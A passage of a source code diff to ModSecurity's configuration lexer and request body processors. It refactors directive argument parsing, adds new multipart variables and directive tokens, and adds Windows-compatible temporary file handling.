-{CONFIG_SEC_UPDATE_TARGET_BY_TAG}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_UPDATE_TARGET_BY_MSG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_UPDATE_TARGET_BY_MSG}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_UPDATE_TARGET_BY_ID}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_UPDATE_TARGET_BY_ID}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_UPDATE_ACTION_BY_ID}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_UPDATE_ACTION_BY_ID}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONFIG_DIR_SEC_MARKER}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_DIR_SEC_MARKER(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_SEC_MARKER}[ \t]+{NEW_LINE_FREE_TEXT} { return p::make_CONFIG_DIR_SEC_MARKER(find_separator(yytext), *driver.loc.back()); } +{CONFIG_DIR_UNICODE_MAP_FILE}[ \t]+{FREE_TEXT_NEW_LINE}[ ]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_DIR_UNICODE_MAP_FILE(find_separator(yytext), *driver.loc.back()); } +{CONFIG_SEC_REMOVE_RULES_BY_ID}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_RULE_REMOVE_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_REMOVE_RULES_BY_MSG}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_REMOVE_RULES_BY_MSG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { return p::make_CONFIG_SEC_RULE_REMOVE_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_REMOVE_RULES_BY_TAG}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_REMOVE_RULES_BY_TAG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { return p::make_CONFIG_SEC_RULE_REMOVE_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_TARGET_BY_TAG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_TARGET_BY_TAG}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_TARGET_BY_MSG}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_TARGET_BY_MSG}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_TARGET_BY_ID}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_TARGET_BY_ID}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_ACTION_BY_ID}[ \t]+["]{FREE_TEXT_NEW_LINE}["] { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_UPDATE_ACTION_BY_ID}[ \t]+{FREE_TEXT_SPACE_COMMA_QUOTE} { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONFIG_UPDLOAD_KEEP_FILES} { return p::make_CONFIG_UPDLOAD_KEEP_FILES(yytext, *driver.loc.back()); } {CONFIG_UPDLOAD_SAVE_TMP_FILES} { return p::make_CONFIG_UPDLOAD_SAVE_TMP_FILES(yytext, *driver.loc.back()); } -{CONFIG_UPLOAD_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_UPLOAD_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_UPLOAD_FILE_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_UPLOAD_FILE_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_UPLOAD_FILE_MODE}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_UPLOAD_FILE_MODE(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_UPLOAD_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_UPLOAD_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_UPLOAD_FILE_LIMIT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_UPLOAD_FILE_LIMIT(find_separator(yytext), *driver.loc.back()); } +{CONFIG_UPLOAD_FILE_MODE}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_UPLOAD_FILE_MODE(find_separator(yytext), *driver.loc.back()); } {CONFIG_VALUE_ABORT} { return p::make_CONFIG_VALUE_ABORT(yytext, *driver.loc.back()); } {CONFIG_VALUE_DETC} { return p::make_CONFIG_VALUE_DETC(yytext, *driver.loc.back()); } {CONFIG_VALUE_HTTPS} { return p::make_CONFIG_VALUE_HTTPS(yytext, *driver.loc.back()); } +{CONFIG_VALUE_ONLYARGS} { return p::make_CONFIG_VALUE_ONLYARGS(yytext, *driver.loc.back()); } {CONFIG_VALUE_OFF} { return p::make_CONFIG_VALUE_OFF(yytext, *driver.loc.back()); } {CONFIG_VALUE_ON} { return p::make_CONFIG_VALUE_ON(yytext, *driver.loc.back()); } {CONFIG_VALUE_PARALLEL} { return p::make_CONFIG_VALUE_PARALLEL(yytext, *driver.loc.back()); } @@ -817,37 +848,38 @@ EQUALS_MINUS (?i:=\-) {CONFIG_VALUE_SERIAL} { return p::make_CONFIG_VALUE_SERIAL(yytext, *driver.loc.back()); } {CONFIG_VALUE_WARN} { return p::make_CONFIG_VALUE_WARN(yytext, *driver.loc.back()); } {CONFIG_XML_EXTERNAL_ENTITY} { return p::make_CONFIG_XML_EXTERNAL_ENTITY(yytext, *driver.loc.back()); } -{CONGIG_DIR_RESPONSE_BODY_MP}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONGIG_DIR_RESPONSE_BODY_MP(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_XML_PARSE_XML_INTO_ARGS} { return p::make_CONFIG_XML_PARSE_XML_INTO_ARGS(yytext, *driver.loc.back()); } +{CONGIG_DIR_RESPONSE_BODY_MP}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONGIG_DIR_RESPONSE_BODY_MP(find_separator(yytext), *driver.loc.back()); } {CONGIG_DIR_RESPONSE_BODY_MP_CLEAR} { return p::make_CONGIG_DIR_RESPONSE_BODY_MP_CLEAR(*driver.loc.back()); } {CONGIG_DIR_SEC_ARG_SEP}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONGIG_DIR_SEC_ARG_SEP(yytext, *driver.loc.back()); } -{CONGIG_DIR_SEC_COOKIE_FORMAT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONGIG_DIR_SEC_COOKIE_FORMAT(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_SEC_COOKIEV0_SEPARATOR}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_COOKIEV0_SEPARATOR}[ \t]+{NEW_LINE_FREE_TEXT} { return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONGIG_DIR_SEC_DATA_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONGIG_DIR_SEC_DATA_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONGIG_DIR_SEC_COOKIE_FORMAT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONGIG_DIR_SEC_COOKIE_FORMAT(find_separator(yytext), *driver.loc.back()); } +{CONFIG_SEC_COOKIEV0_SEPARATOR}[ \t]+["]{NEW_LINE_FREE_TEXT}["] { return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_COOKIEV0_SEPARATOR}[ \t]+{NEW_LINE_FREE_TEXT} { return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONGIG_DIR_SEC_DATA_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONGIG_DIR_SEC_DATA_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONGIG_DIR_SEC_STATUS_ENGINE}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONGIG_DIR_SEC_STATUS_ENGINE(yytext, *driver.loc.back()); } -{CONGIG_DIR_SEC_TMP_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONGIG_DIR_SEC_TMP_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{DIRECTIVE_SECRULESCRIPT}[ \t]+{CONFIG_VALUE_PATH} { BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{DIRECTIVE_SECRULESCRIPT}[ \t]+["]{FREE_TEXT_SPACE_COMMA_QUOTE}["] { BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONGIG_DIR_SEC_TMP_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONGIG_DIR_SEC_TMP_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{DIRECTIVE_SECRULESCRIPT}[ \t]+{CONFIG_VALUE_PATH} { BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{DIRECTIVE_SECRULESCRIPT}[ \t]+["]{FREE_TEXT_SPACE_COMMA_QUOTE}["] { BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONFIG_SEC_CACHE_TRANSFORMATIONS}{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_CACHE_TRANSFORMATIONS(yytext, *driver.loc.back()); } -{CONFIG_SEC_CHROOT_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_SEC_CHROOT_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONFIG_SEC_CHROOT_DIR}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_SEC_CHROOT_DIR}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONFIG_CONN_ENGINE} { return p::make_CONFIG_CONN_ENGINE(yytext, *driver.loc.back()); } {CONFIG_SEC_HASH_ENGINE} { return p::make_CONFIG_SEC_HASH_ENGINE(yytext, *driver.loc.back()); } {CONFIG_SEC_HASH_KEY} { return p::make_CONFIG_SEC_HASH_KEY(yytext, *driver.loc.back()); } {CONFIG_SEC_HASH_PARAM} { return p::make_CONFIG_SEC_HASH_PARAM(yytext, *driver.loc.back()); } {CONFIG_SEC_HASH_METHOD_RX} { return p::make_CONFIG_SEC_HASH_METHOD_RX(yytext, *driver.loc.back()); } {CONFIG_SEC_HASH_METHOD_PM} { return p::make_CONFIG_SEC_HASH_METHOD_PM(yytext, *driver.loc.back()); } -{CONFIG_DIR_GSB_DB}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } -{CONFIG_DIR_GSB_DB}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +{CONFIG_DIR_GSB_DB}[ \t]+{CONFIG_VALUE_PATH} { return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } +{CONFIG_DIR_GSB_DB}[ \t]+["]{CONFIG_VALUE_PATH}["] { return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } {CONFIG_SEC_GUARDIAN_LOG} { return p::make_CONFIG_SEC_GUARDIAN_LOG(yytext, *driver.loc.back()); } {CONFIG_SEC_INTERCEPT_ON_ERROR} { return p::make_CONFIG_SEC_INTERCEPT_ON_ERROR(yytext, *driver.loc.back()); } {CONFIG_SEC_CONN_R_STATE_LIMIT}{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_CONN_R_STATE_LIMIT(yytext, *driver.loc.back()); } {CONFIG_SEC_CONN_W_STATE_LIMIT}{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_CONN_W_STATE_LIMIT(yytext, *driver.loc.back()); } {CONFIG_SEC_SENSOR_ID}{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_SENSOR_ID(yytext, *driver.loc.back()); } {CONFIG_SEC_RULE_INHERITANCE} { return p::make_CONFIG_SEC_RULE_INHERITANCE(yytext, *driver.loc.back()); } -{CONFIG_SEC_RULE_PERF_TIME}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_SEC_RULE_PERF_TIME(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_SEC_RULE_PERF_TIME}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_SEC_RULE_PERF_TIME(find_separator(yytext), *driver.loc.back()); } {CONFIG_SEC_STREAM_IN_BODY_INSPECTION} { return p::make_CONFIG_SEC_STREAM_IN_BODY_INSPECTION(yytext, *driver.loc.back()); } {CONFIG_SEC_STREAM_OUT_BODY_INSPECTION} { return p::make_CONFIG_SEC_STREAM_OUT_BODY_INSPECTION(yytext, *driver.loc.back()); } {CONFIG_SEC_DISABLE_BACKEND_COMPRESS} { return p::make_CONFIG_SEC_DISABLE_BACKEND_COMPRESS(yytext, *driver.loc.back()); } @@ -857,8 +889,8 @@ EQUALS_MINUS (?i:=\-) {CONFIG_DIR_SEC_ACTION} { BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_CONFIG_DIR_SEC_ACTION(yytext, *driver.loc.back()); } {CONFIG_SEC_REMOTE_RULES_FAIL_ACTION} { return p::make_CONFIG_SEC_REMOTE_RULES_FAIL_ACTION(yytext, *driver.loc.back()); } -{CONFIG_SEC_COLLECTION_TIMEOUT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_SEC_COLLECTION_TIMEOUT(strchr(yytext, ' ') + 1, *driver.loc.back()); } -{CONFIG_SEC_HTTP_BLKEY}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_HTTP_BLKEY(strchr(yytext, ' ') + 1, *driver.loc.back()); } +{CONFIG_SEC_COLLECTION_TIMEOUT}[ \t]+{CONFIG_VALUE_NUMBER} { return p::make_CONFIG_SEC_COLLECTION_TIMEOUT(find_separator(yytext), *driver.loc.back()); } +{CONFIG_SEC_HTTP_BLKEY}[ \t]+{FREE_TEXT_NEW_LINE} { return p::make_CONFIG_SEC_HTTP_BLKEY(find_separator(yytext), *driver.loc.back()); } [ \t]*[\n] { driver.loc.back()->lines(1); driver.loc.back()->step(); } #[ \t]*SecRule[^\\].*\\[ \t]*[\r\n]* { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(COMMENT); } #[ \t]*SecAction[^\\].*\\[ \t]*[^\\n] { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(COMMENT); } @@ -919,9 +951,14 @@ EQUALS_MINUS (?i:=\-) {VARIABLE_MULTIPART_CRLF_LF_LINES} { return p::make_VARIABLE_MULTIPART_CRLF_LF_LINES(*driver.loc.back()); } {VARIABLE_MULTIPART_DATA_AFTER} { return p::make_VARIABLE_MULTIPART_DATA_AFTER(*driver.loc.back()); } {VARIABLE_MULTIPART_DATA_BEFORE} { return p::make_VARIABLE_MULTIPART_DATA_BEFORE(*driver.loc.back()); } +{VARIABLE_MULTIPART_DUPLICATE_PART_HEADER} { return p::make_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER(*driver.loc.back()); } {VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED} { return p::make_VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED(*driver.loc.back()); } {VARIABLE_MULTIPART_FILENAME}[:.] { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_FILENAME(*driver.loc.back()); } {VARIABLE_MULTIPART_FILENAME} { return p::make_VARIABLE_MULTIPART_FILENAME(*driver.loc.back()); } +{VARIABLE_MULTIPART_FILENAME_CHARSET}[:.] { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_FILENAME_CHARSET(*driver.loc.back()); } +{VARIABLE_MULTIPART_FILENAME_CHARSET} { return p::make_VARIABLE_MULTIPART_FILENAME_CHARSET(*driver.loc.back()); } +{VARIABLE_MULTIPART_FILENAME_LANGUAGE}[:.] { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_FILENAME_LANGUAGE(*driver.loc.back()); } +{VARIABLE_MULTIPART_FILENAME_LANGUAGE} { return p::make_VARIABLE_MULTIPART_FILENAME_LANGUAGE(*driver.loc.back()); } {VARIABLE_MULTIPART_HEADER_FOLDING} { return p::make_VARIABLE_MULTIPART_HEADER_FOLDING(*driver.loc.back()); } {VARIABLE_MULTIPART_HEADER_FOLDING} { return p::make_VARIABLE_MULTIPART_HEADER_FOLDING(*driver.loc.back()); } {VARIABLE_MULTIPART_INVALID_HEADER_FOLDING} { return p::make_VARIABLE_MULTIPART_INVALID_HEADER_FOLDING(*driver.loc.back()); } @@ -1146,6 +1183,7 @@ EQUALS_MINUS (?i:=\-) { ["] { BEGIN(TRANSACTION_FROM_OPERATOR_PARAMETERS_TO_ACTIONS); } +{FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } {FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } } @@ -1160,6 +1198,7 @@ EQUALS_MINUS (?i:=\-) { ["] { BEGIN(TRANSACTION_FROM_OPERATOR_PARAMETERS_TO_ACTIONS); } +{FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION_LEADING_ESCAPE} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } {FREE_TEXT_DOUBLE_QUOTE_MACRO_EXPANSION} { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } } @@ -1275,9 +1314,9 @@ EQUALS_MINUS (?i:=\-) {CONFIG_INCLUDE}[ \t]+["]{CONFIG_VALUE_PATH}["] { std::string err; const char *tmpStr = yytext + strlen("include"); - const char *file = tmpStr + strspn( tmpStr, " \t"); - char *f = strdup(file); - std::string fi = modsecurity::utils::find_resource(f, *driver.loc.back()->end.filename, &err); + const char *afterWhitespace = tmpStr + strspn( tmpStr, " \t"); + std::string file(afterWhitespace+1, strlen(afterWhitespace)-2); + std::string fi = modsecurity::utils::find_resource(file, *driver.loc.back()->end.filename, &err); if (fi.empty() == true) { BEGIN(INITIAL); driver.error (*driver.loc.back(), "", file + std::string(": Not able to open file. ") + err); @@ -1300,7 +1339,6 @@ EQUALS_MINUS (?i:=\-) } yypush_buffer_state(yy_create_buffer( yyin, YY_BUF_SIZE )); } - free(f); } {CONFIG_SEC_REMOTE_RULES}[ ][^ ]+[ ][^\n\r ]+ { diff --git a/src/request_body_processor/json.cc b/src/request_body_processor/json.cc index 585976b48a..f56704effa 100644 --- a/src/request_body_processor/json.cc +++ b/src/request_body_processor/json.cc @@ -131,7 +131,7 @@ int JSON::addArgument(const std::string& value) { std::string path; for (size_t i = 0; i < m_containers.size(); i++) { - JSONContainerArray *a = dynamic_cast( + const JSONContainerArray *a = dynamic_cast( m_containers[i]); path = path + m_containers[i]->m_name; if (a != NULL) { diff --git a/src/request_body_processor/json.h b/src/request_body_processor/json.h index 19c469ee9f..961ea94ea8 100644 --- a/src/request_body_processor/json.h +++ b/src/request_body_processor/json.h @@ -79,7 +79,7 @@ class JSON { static int yajl_end_array(void *ctx); bool isPreviousArray() const { - JSONContainerArray *prev = NULL; + const JSONContainerArray *prev = NULL; if (m_containers.size() < 1) { return false; } diff --git a/src/request_body_processor/multipart.cc b/src/request_body_processor/multipart.cc index 78dc5d9c97..8cdbd12ffa 100644 --- a/src/request_body_processor/multipart.cc +++ b/src/request_body_processor/multipart.cc @@ -1,7 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) - * + * 2024 - 2026 OWASP (https://owasp.org) * You may not use this file except in compliance with * the License. You may obtain a copy of the License at * @@ -21,15 +21,22 @@ #include #include #include +#ifndef WIN32 #include +#else +#include +#include "src/compat/msvc.h" +#endif #include #include #include #include +#include #include "modsecurity/rules_set.h" #include "modsecurity/collection/collections.h" #include "src/utils/string.h" +#include "src/utils/decode.h" namespace modsecurity { @@ -60,28 +67,34 @@ MultipartPartTmpFile::~MultipartPartTmpFile() { } void MultipartPartTmpFile::Open() { - struct tm timeinfo; - char tstr[300]; - time_t tt = time(NULL); + time_t tt = time(nullptr); + struct tm timeinfo; localtime_r(&tt, &timeinfo); - memset(tstr, '\0', 300); - strftime(tstr, 299, "/%Y%m%d-%H%M%S", &timeinfo); + char tstr[std::size("/yyyymmdd-hhmmss")]; + strftime(tstr, std::size(tstr), "/%Y%m%d-%H%M%S", &timeinfo); std::string path = m_transaction->m_rules->m_uploadDirectory.m_value; - path = path + tstr + "-" + *m_transaction->m_id.get(); + path = path + tstr + "-" + m_transaction->m_id; path += "-file-XXXXXX"; - char* tmp = strdup(path.c_str()); - m_tmp_file_fd = mkstemp(tmp); - m_tmp_file_name.assign(tmp); - free(tmp); +#ifndef WIN32 + m_tmp_file_fd = mkstemp(path.data()); +#else + _mktemp_s(path.data(), path.length()+1); + m_tmp_file_fd = _open(path.c_str(), _O_CREAT | _O_EXCL | _O_RDWR); +#endif + m_tmp_file_name = path; ms_dbg_a(m_transaction, 4, "MultipartPartTmpFile: Create filename= " + m_tmp_file_name); int mode = m_transaction->m_rules->m_uploadFileMode.m_value; if ((m_tmp_file_fd != -1) && (mode != 0)) { +#ifndef WIN32 if (fchmod(m_tmp_file_fd, mode) == -1) { +#else + if (_chmod(m_tmp_file_name.c_str(), mode) == -1) { +#endif m_tmp_file_fd = -1; } } @@ -113,6 +126,7 @@ Multipart::Multipart(const std::string &header, Transaction *transaction) m_flag_error(0), m_flag_data_before(0), m_flag_data_after(0), + m_flag_duplicate_part_header(0), m_flag_header_folding(0), m_flag_boundary_quoted(0), m_flag_lf_line(0), @@ -194,7 +208,7 @@ int Multipart::is_token_char(unsigned char c) { int Multipart::boundary_characters_valid(const char *boundary) { - const unsigned char *p = (unsigned char *)boundary; + const auto *p = reinterpret_cast(boundary); unsigned char c; if (p == NULL) { @@ -231,7 +245,7 @@ int Multipart::boundary_characters_valid(const char *boundary) { void Multipart::validate_quotes(const char *data, char quote) { - int i, len; + int len; if (data == NULL) return; @@ -244,7 +258,7 @@ void Multipart::validate_quotes(const char *data, char quote) { len = strlen(data); - for (i = 0; i < len; i++) { + for (int i = 0;i < len;i++) { if (data[i] == '\'') { ms_dbg_a(m_transaction, 9, "Multipart: Invalid quoting detected: " \ @@ -258,7 +272,6 @@ void Multipart::validate_quotes(const char *data, char quote) { int Multipart::parse_content_disposition(const char *c_d_value, int offset) { const char *p = NULL; - std::string filenameStar; /* accept only what we understand */ if (strncmp(c_d_value, "form-data", 9) != 0) { @@ -332,30 +345,43 @@ int Multipart::parse_content_disposition(const char *c_d_value, int offset) { /* filename*=charset'[optional-language]'filename */ /* Read beyond the charset and the optional language*/ const char* start_of_charset = p; - while ((*p != '\0') && (isalnum(*p) || (strchr(mime_charset_special, *p)))) { + while ((*p != '\0') && (isalnum(static_cast(*p)) || (strchr(mime_charset_special, *p)))) { p++; } if ((*p != '\'') || (p == start_of_charset)) { return -16; // Must be at least one legit char before ' for start of language } + m_mpp->m_filename_charset.assign(start_of_charset, (p - start_of_charset)); + 